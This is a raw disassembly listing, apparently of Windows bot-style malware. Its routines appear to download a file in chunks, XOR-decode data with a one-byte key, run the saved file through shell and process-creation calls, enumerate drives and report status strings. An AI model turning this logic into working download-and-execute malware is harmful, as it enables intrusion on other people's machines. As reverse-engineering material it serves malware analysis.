		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0

loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------

loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h

loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43AD94
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------

loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43AE30
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 26101F3h

loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h

loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx

loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43AE30

loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43ACA8
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 2660802h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop

loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	near ptr 2610602h
		nop
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43ACB0
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx

loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2650000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]

loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB

loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------

loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C

loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4405F0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2

loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 2610602h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2640811h
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43AD0C
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_436EDC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 2770603h
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43ACF8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------

loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390

loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43ADCC
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF

loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43F168
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------

loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi

loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADF8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------

loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------

loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43AC94
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------

loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------

loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h

loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------

loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43AD08
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43AD08
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399

loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h

loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365

loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi

loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4407FC
		call	dword_43AE30
		call	sub_416F25
		call	dword_43ACF8
		call	dword_43ACF8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_436EDC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2770603h
		nop
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi

loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43F1A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
